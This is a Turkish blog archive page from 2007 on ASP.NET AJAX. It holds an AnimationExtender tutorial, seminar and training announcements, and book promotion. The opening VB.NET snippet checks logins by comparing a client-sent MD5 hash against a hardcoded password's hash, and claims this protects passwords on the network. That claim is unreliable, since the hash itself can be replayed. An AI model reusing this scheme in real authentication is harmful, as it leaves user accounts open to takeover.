  Shared FunctionGirisKontrolu(ByVal Sifre As String) As Boolean
    'Şifremizi IOStream objesine çevirecek olan encoder objesini tanımlayalım.
    Dim encoder As New UTF8Encoding()
    'MD5 Servisine ulaşalım.
    Dim MD5 As New System.Security.Cryptography.MD5CryptoServiceProvider
    'Doğru şifreyi enkript edelim.
    Dim GercekSifre As Byte() = MD5.ComputeHash(encoder.GetBytes("GerçekŞifrem"))
    'Gerçek Şifremizi HEX'e çevirelim.
    Dim Dogru As New StringBuilder()
    For i As Integer = 0 To GercekSifre.Length - 1
      Dogru.Append(GercekSifre(i).ToString("x2"))
    Next i
    'Enkript edilmiş doğru şifre ile istemciden gelen enkript edilmiş şifreyi karlılaştıralım..
    If Dogru.ToString = Sifre Then
      Return True
    Else : Return False
    End If
  End Function

Hepsi bu kadar. Artık istemci tarafında girilen tüm şifreler enkript edildikten sonra sunucuya kontrol için gönderiliyor olacak. Böylece istemci ile sunucu arasındaki hiçbir yazılım veya donanım söz konusu şifreyi ağ trafiği üzerinden yakalasa bile tam olarak ne olduğunu anlayamayacaktır.

Hepinize kolay gelsin.

Wednesday, August 22, 2007 5:54:57 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | ASP.NET | JavaScript  | 
 Thursday, August 16, 2007

ASP.NET AJAX kitabımda detaylıca bahsettiğim AJAX Control Toolkit benim en çok ilgimi çeken kontrollerden biri olan Animation Extender maalesef dokümantasyon eksikliği yüzünden (kitabımı almayanlar tarafından :)) pek kullanılamıyor. Umarım bu makale bu boşluğu doldurur.

AJAX Control Toolkit Animation Extender kontrolü bize XML kodları yazarak DHTML animasyonları yaratma olanağı sağlıyor. Bu konsept bizim ileride Silverlight ile daha da aşina olacağımız XAML (XML kodu) ile animasyon yaratma konseptine çok yakın. Hızlı bir şekilde ilk örneğimize geçmeden önce bilgisayarınızda ASP.NET AJAX 1.0 ve AJAX Control Toolkit’in yüklü olduğundan emin olalım, eğer gerekli yüklemeler bilgisayarınızda eksikse aşağıdaki adreslerden indirerek hemen yükleyebilirsiniz.

http://www.microsoft.com/downloads/details.aspx?FamilyID=ca9d90fa-e8c9-42e3-aa19-08e2c027f5d6&displaylang=en
http://www.codeplex.com/AtlasControlToolkit/Release/ProjectReleases.aspx?ReleaseId=4923

Yükleme sonrası Visual Studio veya Visual Web Developer Express içerisinde ASP.NET web sitesi yaratmak istediğinizde seçenek olarak “AJAX Control Toolkit Web Site” seçeneği de karşınıza çıkacaktır.

AJAX Control Toolkit Web Site yaratırken Visual Studio ekranı...

Yeni bir “Ajax Control Toolkit Web Site” yarattıktan sonra karşımıza ilk çıkan default.aspx dosyasına Toolbar içerisinden bir AnimationExtender eklediğimizde sayfamızın tasarım bölümünde aşağıdaki HTML kodu ile karşılaşıyoruz

<%@ Page Language="VB" AutoEventWireup="true" CodeFile="Default.aspx.vb" Inherits="_Default" %>
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title>Untitled Page</title>
</head>
<body>
    <form id="form1" runat="server">
        <ajaxToolkit:ToolkitScriptManager ID="ScriptManager1" runat="server" />
        <div>
            <ajaxToolkit:AnimationExtender ID="AnimationExtender1" runat="server">
            </ajaxToolkit:AnimationExtender>
        </div>
    </form>
</body>
</html>

Sayfa içerisinde toplam iki adet kontrol bulunuyor. Bunlardan ilki olan ToolkitScriptManager sayfamızı ilk açtığımızda zaten içerisinde vardı. ASP.NET AJAX 1.0 ile daha önce projeler gerçekleştirmiş olanlar hatırlayacaktır; AJAX özellikleri kullanacağımız her sayfada ScriptManager adında bir kontrolün sayfanın en başında yer alması gerekiyordu. ScriptManager sayfamızdaki diğer AJAX kontrollerinin çalışabilmesi ve bizim istemci taraflı AJAX kodları yazarken Microsoft kütüphanesinden faydalanabilmemiz için gerekli olan tüm JavaScript kütüphanelerinin sayfaya eklenmesini sağlıyor. AJAX Control Toolkit söz konusu olduğunda Control Toolkit içerisindeki her kontrolün kendi ayrı JavaScript dosyalarının da sayfaya eklenmesi gerektiğini düşünürsek bazen bir sayfada kullanılan farklı AJAX kontrolleri nedeniyle 10-15 adet farklı JavaScript dosyalarının arkaplanda sayfaya eklenmiş olduğunu görebiliyorduk. Aslında tüm bu JavaScript kodlarının olabildiğince daha az sayıda dosyada derlenmesi ve toplu olarak sayfaya eklenmesi daha mantıklı olacaktır. İşte bu bahsettiğimiz optimizasyonu bizim yerimize ToolkitScriptManager yapacak. Bunun için de klasik ASP.NET AJAX ScriptManager yerine Control Toolkit kullanılan projelerde artık ToolkitScriptManager kullanıyor olacağız.

Sayfadaki diğer kontrol bizim biraz önce eklediğimiz AnimationExtender kontrolü. Gelin şimdi hızlı bir şekilde bu kontrolün aldığı özelliklere bakmak için aşağıdaki kodu inceleyelim.

<ajaxToolkit:AnimationExtender ID="AnimationExtender1" runat="server" TargetControlID="Button1">
    <Animations>
        <OnLoad> ... </OnLoad>
        <OnClick> ... </OnClick>
        <OnMouseOver> ... </OnMouseOver>
        <OnMouseOut> ... </OnMouseOut>
        <OnHoverOver> ... </OnHoverOver>
        <OnHoverOut> ... </OnHoverOut>
    </Animations>
</ajaxToolkit:AnimationExtender>

AnimationExtender kontrolümüz kendi içerisinde tanımlayacağımız tüm animasyonlara sayfadaki hangi elementin neden olacağını TargetControlID aracılığı ile bizden öğreniyor. Örneğin sayfada bir düğmeye tıklanacak ve sonrasında animasyon uygulanacaksa TargetControlID değerine söz konusu düğmenin ID bilgisini vermemiz gerekiyor. Tabi sadece tıklama (OnClick) gibi durumlarla sınırlandırılmış değiliz; yukarıdaki kod içerisinde de görebileceğiniz gibi OnLoad, OnMouseOver gibi çok sayıda durum (event) söz konusu. Her bir durumda uygulanmak üzerine farklı animasyonlar tanımlayabiliyoruz, fakat tüm bu durumlar TargetControlID özelliğine aktarılmış elementin durumlarına bağlı olacak.
Animasyonlarımızı XML kodları ile yazacağımızdan bahsetmiştim. Her bir farklı durum (onclick, onload… vs) için farklı animasyanları hazırladıktan sonra yukarıdaki örnekteki uygun duruma ait (onclick vs) XML taglarının arasına yazmamız gerekiyor. Hemen bir örnek ile ilerleyelim.

<ajaxToolkit:AnimationExtender ID="AnimationExtender1" runat="server" TargetControlID="Button1">
    <Animations>
        <OnHoverOver>
          <FadeOut Duration=".5" Fps="20" MinimumOpacity=".1" />
        </OnHoverOver>
        <OnHoverOut>
          <FadeIn Duration=".5" Fps="20" MinimumOpacity=".1" />
        </OnHoverOut>
    </Animations>
</ajaxToolkit:AnimationExtender>
 <asp:Button ID="Button1" runat="server" Text="Button" />

Sayfamıza ayrıca bir Button ekledik. Bu düğmeyi hedef kontrol yani TargetControlID olarak ayarladık. AnimasyonExtender içerisinde FadeIn ve FadeOut olarak iki farklı animasyonu hedef kontrolün iki farklı durumuna (OnHoverOver ve OnHoverOut) tanımladık. Böylece fare ile hedef kontrolün üzerine gelindiğinde OnHoverOver içerisinde tanımlanmış animasyon, fare ile hedef kontrolün üzerinden ayrıldığımızda ise OnHoverOut içerisindeki animasyon çalışacak. Animasyonların tanımlanması ile ilgili detayları birazdan inceleyeceğiz, şimdilik durum kontrolüne konsantre olarak yukarıdaki kodu tekrar incelemenizi tavsiye ediyorum.
Animasyon tanımlamalarımızı yaparken iki farklı seçeneğimiz var. Bunlardan ilki Sequence animasyon, diğeri ise Parallel. Sequence animasyon tagları içerisinde yer alan tüm animasyonlar tek tek, XML kodu içerisine yazılma sıraları ile gerçekleştirilir. Bir animasyon bitmeden diğerine geçilemez. Parallel animasyonlarda ise tüm animasyon aynı anda çalışır. Bir Sequence animasyon içerisinde bir Parallel animasyon yer alabileceği gibi tam tersi de olabilir. Gelin yine örnek üzerinden gidelim.
Örneğimizdeki sayfaya bir ASP.NET Calendar kontrolü ekleyeceğim. Sayfada yer alacak olan iki farklı düğmeden biri Calender kontrolünü %10 şeffaf yapacak, diğeri ise tekrar görünür hale getirecek. İki farklı hedef kontrolüm, yani iki farklı TargetControl olacağı için mecburen iki farklı AnimationExtender kullanacağım.

<ajaxToolkit:AnimationExtender ID="AnimationExtender1" runat="server" TargetControlID="Button1">
    <Animations>
        <OnClick>
          <Sequence AnimationTarget="Calendar1">
            <FadeOut Duration=".5" Fps="20" MinimumOpacity=".1" />
          </Sequence>
        </OnClick>
    </Animations>
</ajaxToolkit:AnimationExtender>
  <ajaxToolkit:AnimationExtender ID="AnimationExtender2" runat="server" TargetControlID="Button2">
    <Animations>
        <OnClick>
          <Sequence AnimationTarget="Calendar1">
            <FadeIn Duration=".5" Fps="20" MinimumOpacity=".1" />
          </Sequence>
        </OnClick>
    </Animations>
</ajaxToolkit:AnimationExtender>
<asp:Button ID="Button1" runat="server" OnClientClick="return false" Text="Görünmez Yap" />
<asp:Button ID="Button2" runat="server" OnClientClick="return false" Text="Görünür Yap" />
<asp:Calendar ID="Calendar1" runat="server"></asp:Calendar>

Yukarıdaki kod içerisinde bizim için yeni olabilecek iki şey var. Bunlardan ilki Sequence animasyonlar ve bu animasyonlara ait AnimationTarget özellikleri. Daha önceki örneğimizde animasyona neden olan kontrol, yani TargetControl ile animasyonun gerçekleştiği kontrol aynıydı. Oysa şu an biz bir düğmeye tıklayıp başka bir kontrole animasyon uygulamak istiyoruz. Bu nedenle animasyon serisine yani Sequence animasyonuna bir hedef belirtmemiz gerekiyor. Örneğimizde bu kontrol Calendar1 olacak çünkü animasyonu takvime uygulayacağım. Bir ikinci ilginç nokta da düğmelerimize verdiğimiz OnClientClick özellikleri. Sayfada normal ASP.NET düğmeleri kullandığımız için doğal olarak düğmelere her tıkladığımızda sayfa PostBack oluyor. Oysa bizim animasyonların çalışabilmesi için bunu engellememiz şart. Bu nedenle ClientClick özelliklerine “return falseJavaScript kodunu yazıyoruz. Böylece söz konusu düğmelere tıklandığında sayfa PostBack olmayacak, sadece animasyonlar çalışacak.
Şimdi bir de Parallel animasyon denemesi yapalım. Parallel animasyon tagları arasında iki farklı animasyon koyacağız. Animasyonlardan biri yine takvimin görünürlük değerini değiştirirken diğeri de aynı takvimin fon rengini beyazdan kırmızıya ve kırmızıdan beyaza çevirecek.

<ajaxToolkit:AnimationExtender ID="AnimationExtender1" runat="server" TargetControlID="Button1">
    <Animations>
        <OnClick>
          <Parallel AnimationTarget="Calendar1">
            <FadeOut Duration=".5" Fps="20" MinimumOpacity=".1" />
            <Color PropertyKey="backgroundColor" StartValue="#FFFFFF" EndValue="#ff0000" />
          </Parallel>
        </OnClick>
    </Animations>
</ajaxToolkit:AnimationExtender>
  <ajaxToolkit:AnimationExtender ID="AnimationExtender2" runat="server" TargetControlID="Button2">
    <Animations>
        <OnClick>
          <Parallel AnimationTarget="Calendar1">
            <FadeIn Duration=".5" Fps="20" MinimumOpacity=".1" />
            <Color PropertyKey="backgroundColor" StartValue="#ff0000" EndValue="#FFFFFF" />
          </Parallel>
        </OnClick>
    </Animations>
</ajaxToolkit:AnimationExtender>
<asp:Button ID="Button1" runat="server" OnClientClick="return false" Text="Görünmez Yap" />
<asp:Button ID="Button2" runat="server" OnClientClick="return false" Text="Görünür Yap" />
<asp:Calendar ID="Calendar1" runat="server"></asp:Calendar>

Animasyonlar içerisinde kullanabileceğiniz farklı animasyon taglarını sırayla inceleyelim.

<Resize Width="200" Height="300" Unit="px" />

Yukarıdaki animasyon ile hedef elementin yüksekliğinin ve genişliğinin verilen değerlere doğru bir animasyon ile büyütülmesini veya küçültülmesini sağlayabilirsiniz.

<EnableAction Enabled="false" />

Özellikle düğmelerin tıklanabilir olması veya olmaması arasında geçiş yapmak için yukarıdaki animasyon kodunu kullanabilirsiniz. Bir düğmenin rengini açık bir renkten koyu bir renge çevirirken aynı anda paralel bir animasyonda düğmeyi tıklanamaz hale de getirebilirsiniz.

<ScriptAction Script="alert('Selamlar!');" />

Sadece animasyon yapmakla kalmayıp animasyonlarınızın belirli noktalarında JavaScript kodları da çalıştırabilirsiniz. Bu özellik animasyonlar tamamlandıktan sonra kullanılırsa animasyonun bitmesi ile sayfada farklı işlemler yapabilmenizi sağlayabilir.

<Color AnimationTarget="MyContent"
 Duration="1"
 StartValue="#FF0000"
 EndValue="#666666"
 Property="style"
 PropertyKey="backgroundColor" />

Objelerin CSS özellikleri üzerinde direk oynamak için yukarıdaki kodu kullanabilirsiniz. Örneğin bu kod içerisinde hedef objenin fon rengi değiştiriliyor.

<StyleAction Attribute="display" Value="none" />

CSS özelliklerinin değişimi ile ilgili alternatif olarak StyleAction animasyonunu da kullanabilirsiniz.
Peki ya sayfadaki bir duruma, bir koşula göre farklı animasyonların çalışmasını istiyorsanız? Merak etmeyin, bunun için de bir çözüm var.

<Condition ConditionScript="$get('isaret').checked">
    <FadeOut AnimationTarget="up_container" minimumOpacity=".2" />
</Condition>

Yukarıdaki gibi condition tagı ile direk sayfadaki bir CheckBox’ın işaretli olup olmadığını kontrol edebileceğiniz gibi herhangi bir JavaScript komutu da çalıştırabilir veya sayfada tanımlı global bir JavaScript değişkenini kontrol edebilirsiniz. Şart sağlandığında Condition tagları arasındaki animasyon uygulanacaktır, aksi halde pas geçilecektir.

<FadeOut Duration=".5" Fps="20" MinimumOpacity=".1" />

FadeIn ve FadeOut animasyonlarını daha önce de kullandık. Detaylı olarak incelemek gerekirse söz konusu animasyonlar için animasyon süresini Duration özelliğine aktarmamız gerekiyor. Diğer yandan isterseniz animasyonun saniyede kaç kare gösterimi ile oluşturulacağına da Fps değeri ile karar verebilirsiniz. Son olarak şeffaflığa gidiş veya şeffaflıktan dönüş animasyonlarında MinimumOpacity ve MaximumOpacity ile minimum şeffaflık ve maksimum şeffaflık limitlerini de ayarlayabilirsiniz.

Tüm bu animasyonları isterseniz direk JavaScript ile de oluşturabilir ve kullanabilirsiniz.

var effects = new Array();
effects[0] = new AjaxControlToolkit.Animation.FadeInAnimation($get("Calendar1"), .3, 30, .3, 1, false);
AjaxControlToolkit.Animation.SequenceAnimation.play($get("Calendar1"), 0, 24, effects, 1); 

Yukarıdaki JavaScript kodumuz içerisinde ilk olarak animasyonlarımızın bir listesini saklayacak Array tipindeki değişkenimizi tanımlıyoruz. Benim değişkenimde sadece tek bir animasyon var, siz isterseniz birden çok animasyon ekleyebilirsiniz. Animasyonlarla ilgili parametreleri yine JavaScript ile aktarıyoruz. Son olarak da AjaxControlToolkit’e ait JavaScript sınıfları aracılığı ile hazırladığımız animasyon serisini bir SequenceAnimation olarak oynatmak için .play komutunu kullanıyoruz. Her bir animasyon için hedef HTML elementini ve gerekli animasyon parametrelerini vermemiz gerekiyor. XML-Script’e kıyasla biraz daha zor bir teknik olduğu için benim tavsiyem AnimationExtender animasyonlarını JavaScript ile birazdan inceleyeceğimiz şekilde kullanmanızdır.

<div id="gereksiz" runat="server" style="display:none;"></div>
<ajaxToolkit:AnimationExtender ID="AnimationExtender1" BehaviorID="Yoket" runat="server" TargetControlID="gereksiz">
    <Animations>
        <OnClick>
          <Parallel AnimationTarget="Calendar1">
            <FadeOut Duration=".5" Fps="20" MinimumOpacity=".1" />
            <Resize Width="400" Unit="px" />
          </Parallel>
        </OnClick>
    </Animations>
</ajaxToolkit:AnimationExtender>
  <ajaxToolkit:AnimationExtender ID="AnimationExtender2" BehaviorID="Goster" runat="server"  TargetControlID="gereksiz">
    <Animations>
        <OnClick>
          <Parallel AnimationTarget="Calendar1">
            <FadeIn Duration=".5" Fps="20" MinimumOpacity=".1" />
            <Resize Width="200" Unit="px" />
          </Parallel>
        </OnClick>
    </Animations>
</ajaxToolkit:AnimationExtender>
<input id="Button4" type="button" value="Yoket" onclick="var onclkBehavior = $find('Yoket').get_OnClickBehavior().get_animation();onclkBehavior.play();" />
<input id="Button1" type="button" value="Goster" onclick="var onclkBehavior = $find('Goster').get_OnClickBehavior().get_animation();onclkBehavior.play();" />
<input id="Button2" type="button" value="Gostermeye Ara Ver" onclick="var onclkBehavior = $find('Goster').get_OnClickBehavior().get_animation();onclkBehavior.pause();" />
<asp:Calendar ID="Calendar1" runat="server"></asp:Calendar>

Yukarıdaki örneğimizde AnimationExtender kontrolleri içerisinde tanımladığımız animasyonları JavaScript ile çalıştırıyoruz. Normal şartlarda AnimationExtender’lar başka .NET kontrollerine bağlanmak zorunda oldukları için yalancı bir .NET kontrolü yaratıp AnimationExtender kontrollerinin TargetControlID özelliklerini boş geçmememiz gerekiyor. Bunun için kodun en başında bir DIV yaratarak CSS özelliği ile görünmez yaptım. Söz konusu DIV’i her iki AnimationExtender’a da TargetControlID olarak verdim. Böylece bir sorun yaşamayacağız. AnimationExtender kontrollerini JavaScript ile yakalayabilmek için her iki kontrole de farklı BehaviorID isimleri atadım. Kontrollerin BehaviorID özelliklerindeki isimlerden animasyonları yakalayacağız. Gelelim bizim esas animasyonları oynatacak olan JavaScript kodlarımızın bulunduğu düğmelere. Formun en altında toplam dört adet HTML düğmesi bulunuyor. Bu düğmelerin OnClick özelliklerine ikişer satırlık JavaScript kodları koydum. Bu kodları tek tek incelemekte fayda var.

var onclkBehavior = $find('Yoket').get_OnClickBehavior().get_animation();
onclkBehavior.play();

İlk satırda sayfadaki animasyonumu yakalayacak olan komut bulunuyor. get_OnClickBehavior(). Komutu ile söz konusu animasyona ait OnClick durumuna atanmış animasyonu alabiliyoruz. Aldığımız animasyonu onclkBehavior adındaki değişkene aktardıktan sonra .play() komutu ile oynatıyoruz.

var onclkBehavior = $find('Goster').get_OnClickBehavior().get_animation();
onclkBehavior.pause();

.pause() komutu söz konusu animasyonu durduruyor. Fakat sonrasında tekrar play() komutu ile bu animasyonu devam ettirmek mümkün.

Umarım hepiniz için bu ilk yazgelistir.com makalem faydalı bir kaynak olmuştur. Silverlight ile web dünyasına giriş yapmadan önce bir süre için DHTML animasyon ihtiyaçlarınızı AnimationExtender kontrolü ile sağlayabileceğinizden eminim.

Herkese kolay gelsin…

Thursday, August 16, 2007 7:19:04 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | ASP.NET | JavaScript  | 
 Friday, August 03, 2007

ASP.NET 3.5 sürümünün giderek yaklaştığı şu günlerde yavaş yavaş Beta Hosting hizmetleri de kendini göstermeye başladı. Crsytal Tech hosting şirketi ASP.NET 3.5 Beta Hosting'ini geçenlerde duyurdu. Özellikle ASP.NET 3.5 ile beraber LinQ çalışmaları yapanların gerçek bir sunucu üzerinde denemeler yapmalarını sağlayan hizmeti burdan duyurmak istedim. Tek sorun şu an için ASP.NET 3.5 sürümünü IIS 6.0 ve Windows Server 2003 üzerinde çalıştırıyor olmaları. Umarız yakın zamanda Server 2008 ve IIS7.0 tabanlı Beta Hosting'lerde karşımıza çıkar.

Beta hosting ile ilgili hizmet sayfasına buradan ulaşabilirsiniz.

Friday, August 03, 2007 9:27:33 AM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | ASP.NET  | 
 Tuesday, July 31, 2007

Dün akşam bazıları evlerinde televizyon izleyip belki de uyuklarken biz Gelişim Platformu çatısında ASP.NET AJAX konulu seminerimizi yoğun bir katılım ile tamamladık. Özellikle yazın bu sıcak günlerinde iş çıkışı ASP.NET AJAX'a zaman ayıran herkese teşekkür ediyor ve kişisel gelişim adına kutluyorum. Üç saat süren seminer boyunca olabildiğince ASP.NET AJAX'ın "nasıl birşey" olduğu ile ilgili bilgi vermeye çalıştım. Seminer sonundaki değerlendirme formlarını incelediğimde özellikle teknik içerik açısından bazı katılımcıların semineri başarısız bulduğunu gördüm. Bu nedenle biraz 2-3 saatlik seminerler ilgili genel olarak yazmak istiyorum.

Aslına bakarsanız dağıtılan katılım formları yanlış hazırlanmış veya hazırlamışız :) Sektörde özellikle ASP.NET AJAX gibi yeni teknolojiler ile ilgili çok sayıda 2-3 saatlik workshop, seminer düzenleniyor ve düzenlenmeye de devam edecek. Gerçekten genel anlamda çok yararlı olduğunu düşünüyorum, fakat bu organizasyonlara gelirken "işi öğrenme" beklentisi ile gelmemek lazım. 2-3 saatlik bir sürede maalesef teknik bir eğitim vermek (veya almak) pek mümkün değil. Bu tarz seminerlerin amacı özetle tanıtımdır. Bizim ASP.NET AJAX seminer örneğimizi ele alırsak, amacımız ASP.NET AJAX Nedir? Nerden geldi? Nereye gidiyor? Nasıl kullanılıyor? Neden kullanılıyor? sorularına cevap vermekti. Semineri takriben hedef katılımcıların "ASP.NET AJAX öğrenmeliyim." veya "ASP.NET AJAX benim işime yaramaz" gibi bir karar alabilmelerini sağlamaktır. Sanırım bunu başardık. Yukarıdaki cümlelerden eğer "ASP.NET AJAX öğrenmeliyim" cümlesini zaten dile getirebiliyorsanız tavsiyem seminerler yerine daha uzun süreli eğitimlere yönelmenizdir.

Yine tüm katılımcılara ve Gelişim Platformu ekibine çok teşekkür ediyorum. Benim için çok zevkli bir seminerdi, gönlüm isterdi ki 3 saat değil de 5-6 saat beraber olabilseydik. Daha anlatacak o kadar çok şey vardı ki :) Bu kadarına da şükür diyerek aşağıda semimere ait örnek kodları ve sunumu download olarak koyuyorum.

Bir sonraki aktivitede görüşmek üzere.

Sunum ve Örnek Kodları İndir - 31072007_1.rar (610 KB)

Tuesday, July 31, 2007 10:04:03 AM (GTB Standard Time, UTC+02:00)  #    Comments [2]   AJAX | Eğitimler  | 
 Tuesday, July 24, 2007

ASP.NET AJAX kitabım raflarda yerini alalı iki ay oluyor. Yaz dönemine rast gelmesine rağmen ilginç bir satış grafiği oluşturan kitabımın bugün hepsiburada.com’da programlama kitapları arasında en çok satılanlar listesinde birinci sıraya yerleştiğini gördüm.

Önümüzdeki dönemde AJAX bilgisine sahip olmak programcılarda sıklıkla aranan bir özellik olacak. Bu çerçevede kitabımın birinci sıraya yerleşmesinin yanı sıra tüm programcılar arasında AJAX konusunun da ilgi sırasında en ön saflarda olması gerçekten sevindirici.

Tuesday, July 24, 2007 3:02:49 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | ASP.NET | Genel  | 
 Thursday, July 12, 2007

AJAX konulu çalışmalarım yoğun bir şekilde devam ediyor. Sırada AJAX başlıklı 3 saatlik bir seminer var. Gelişim Platformu bünyesinde düzenleyeceğimiz seminer boyunca Mayasoft Bilişim Akademisi’nde toplam 24 saat olarak düzenlediğimiz AJAX eğitiminin hızlandırılmış, giriş seviyesi bir sürümünü sunacağım. AJAX’ın ne olduğunu merak edenlere, hızlı bir giriş yapmak isteyenlere şiddetle tavsiye ederim.

30 Temmuz Perşembe günü saat 18.45’da başlayacak olan seminerle ilgili detaylar ve rezervasyon için aşağıdaki linkten Gelişim Platformu web sitesine ulaşabilirsiniz. Seminere katılmak için siteye üye olmanız yeterli.

http://www.gelisimplatformu.org/uye/uye_aktivite_detay.asp?MODE=AKTIVITE&akt_id=3693

Wednesday, July 11, 2007 11:44:45 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | Eğitimler  | 
 Monday, July 09, 2007

Biraz gecikmiş de olsam sizlere AJAX Control Toolkit’in yeni sürümünü duyurmak ve bazı yeniliklerden bahsetmek istiyorum. ASP.NET AJAX kitabımda detaylıca incelediğim AJAX Control Toolkit bağımsız programcılar tarafından ASP.NET AJAX ile kullanılabilir ASP.NET kontrollerinin toplandığı, ücretsiz ve açık kaynak kodlu bir kütüphane. Kütüphanenin 18 Haziran’da yayınlanmış en son sürümü olan 1.0.10606.0 paketini aşağıdaki adresten bilgisayarınıza indirebilirsiniz.

http://www.codeplex.com/AtlasControlToolkit/Release/ProjectReleases.aspx?ReleaseId=4923

Gelelim yeni sürümlerle beraber bizleri bekleyen yeniliklere. Benim ilk dikkatimi çeken kontrol kütüphanesi içerisindeki her kontrolün artık çok daha anlamlı ikonlara sahip olması oldu. Görsel açıdan güzel bir gelişme olmuş. Ayrıca bazı kontrollerle ilgili Visual Studio’nun Designer modunda bazı kolaylıklar sağlanmış. Bunlardan ilki Tab kontrollerinin tablarının designer arayüzünde de artık düzenlenebiliyor olması. Tab kontrolleri haricinde neredeyse tüm kontrollerle designer arayüzünde kullanılmak üzere işlevler eklenmiş. PageMethodları veri kaynağı olarak kullanabileceğimiz kontrollerin artık designer arayüzünde “Add Dynamic Populate Page Method” adında bir komutu var. Bu komuta direk tıklayarak uygun fonksiyonun doğru parametreler ile Code Behind sayfasına otomatik eklenmesi sağlanabiliyor. Bence bu işlev zaman kazandıran en önemli gelişmelerden biri olmuş.

En sevdiğim yeni özellik ise ToolkitScriptManager ile beraber geliyor. ASP.NET AJAX Extension kullanırken her sayfada bir ScriptManager olması şart. ScriptManager sayfaya ASP.NET AJAX kütüphanesi ile ilgili JavaScript dosyalarını, kodlarını eklerken AJAX Control Toolkit’in genel JavaScript kütüphanesi hariç sayfamızda kullandığımız her bir AJAX Control Toolkit kontrolü ile ilgili JavaScript kodları da ayrıca sayfaya linkleniyordu. Birden fazla AJAX Control Toolkit kontrolü kullandığımız bir sayfanın kullanıcıya giden kaynak kodunu incelediğimizde çok sayıda harici JavaScript kaynaklarının sayfaya linklendiğini görüyorduk. Bu durum artık ToolkitScriptManager ile değişiyor. Yeni sürümü ile beraber yarattığınız her AJAX Control Toolkit web sitesinde yaratılan her yeni web sayfasına ToolkitScriptManager otomatik olarak ekleniyor ve eski ScriptManager’ın tüm işlevlerini miras almak ile beraber sayfadaki farklı JavaScript kaynaklarını tek bir dosya halinde kullanıcıya gönderiyor. Sonuç olarak sayfanın yüklenmesi aşamasında 10, 15 adet harici JavaScript kaynağından yükleme yapmak yerine daha derli toplu yüklemeler yapılıyor. Toplam yükleme boyutu azalmıyor fakat yükleme sayısı azaldığı için performans artışı sağlanıyor.

Genel olarak yapılan yenilikler gerçekten başarılı, umarız kısa zamanda kütüphane yeni kontroller de eklenerek daha da genişler. Bir sonraki AJAX Control Toolkit sürümünde görüşmek üzere :)

Monday, July 09, 2007 1:34:36 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | ASP.NET  | 
 Wednesday, July 04, 2007

Uzun süredir gerçekleştirmeyi istediğim AJAX eğitimlerinin tarihlerini sonunda belirleyebildik. MayaSoft Bilişim Akademisi’nde gerçekleştireceğimiz eğitimleri toplam üç kur olarak düzenliyoruz. Eğitim süresince ASP.NET AJAX konusunda özellikle gerçek hayat projelerinde kullanabileceğiniz bilgileri ve karşılaşacağınız sorunlara dair çözümleri aktaracağım. Çalıştığım DEVELOAD Yazılım & Tasarım şirketinde son 2 yıldır kurumsal / ticari AJAX projeleri gerçekleştiriyoruz. Amacım özellikle bu deneyimi öğrencilerimle paylaşmak.

Toplam 24 saatlik eğitimlerin başlangıç tarihleri ve kurlar şu şekilde;

23 Temmuz 2007 - Hafta İçi Gün Boyu (09:30-16:30) (4 gün)
21 Temmuz 2007 - Hafta Sonu Sabah (Cumartesi-Pazar) (09:00-14:00)
28 Temmuz 2007 - Hafta Sonu Öğlen (Cumartesi-Pazar) (14:30-19:30)

Detaylı bilgi için Mayasoft Bilişim Akademisi'ne ait duyuru bültenini inceleyebilirsiniz.

Wednesday, July 04, 2007 12:06:29 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | Eğitimler  | 
 Wednesday, June 06, 2007

Son 2.5 yıldır üzerinde yoğun olarak çalıştığım AJAX'ı konu alan kitabım toplam 1.5 yıllık bir çalışma sonucunda bugün elime ulaştı. ASP.NET platformunda her ölçekte AJAX uygulamaları geliştirmek isteyenlerin tüm sorularını cevaplayabilmek için sürekli genişlettiğim kitap sonunda 516 sayfa olarak raflarda yerini aldı. Sanırım hem Türkiye'de hem de uluslararası platformda sadece AJAX konulu en kapsamlı kitap olma özelliğine sahip.

AJAX'ın derinliklerine dalıp hiçbir ek araç, kütüphane kullanmadan sunucu programlama teknolojilerinden bağımsız olarak AJAX'ı inceledikten sonra kitap içerisinde ASP.NET 1.1 ve 2.0 ile birlikte kullanılabilecek olası tüm AJAX kütüphanelerini ve teknikleri ele aldım. Bunlar arasında tabi ki en önemlisi Microsoft'a ait ASP.NET AJAX Extensions ürünü. Ek olarak farklı tekniklerin artı ve eksi yönlerinin karşılaştırıldığı proje örnekleri, gerçek hayat projelerinde şu ana kadar karşılaştığım ve uzun çalışmalar ile çözümlerini bulduğum sorun-çözüm analizleri ve son olarak da AJAX sunucu kontrolleri yaratmanın yollarına kadar uzun bir serüven var kitap içerisinde. Tüm örnekleri ve canlı uygulamaları da bir CD içerisinde derledik.

Umarım şu an için en kapsamlı Türkçe kaynak olarak kitabım yararlı bir eser olur.

Online sipariş için aşağıdaki adresleri kullanabilirsiniz.

http://www.kitapyum.com/

http://www.hepsiburada.com/

Kitabın web sitesi için buraya tıklayabilirsiniz.

Wednesday, June 06, 2007 7:49:45 PM (GTB Standard Time, UTC+02:00)  #    Comments [4]   AJAX | ASP.NET  | 
 Saturday, April 28, 2007

Microsoft ASP.NET Resmi Sitesi'nde ilk makalem yayınlandığında (28 Mayıs 2006) heyecanımı İngilizce blog sitemde paylaşmıştım. Makalem hala tüm diğer eski makaleler gibi ASP.NET sitesinde, arşivde yer alıyor.

Bugün ikinci makalem ASP.NET sitesinde duyuruldu. Maalesef bu makalelerin hepsi İngilizce olmak durumunda. Söz konusu makale bir ASP.NET Repeater içerisinde UpdatePanel üretimi ve kullanımı ile ilgili. Bu sefer anı ölümsüzleştirmek adına bir de screenshot aldım :)

Şu an makaleyi direk www.asp.net ana sayfasında görebilirsiniz. İleride tüm eski makaleler gibi arşivde yerini alacaktır.

Saturday, April 28, 2007 1:53:49 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | Genel  | 
 Friday, April 20, 2007

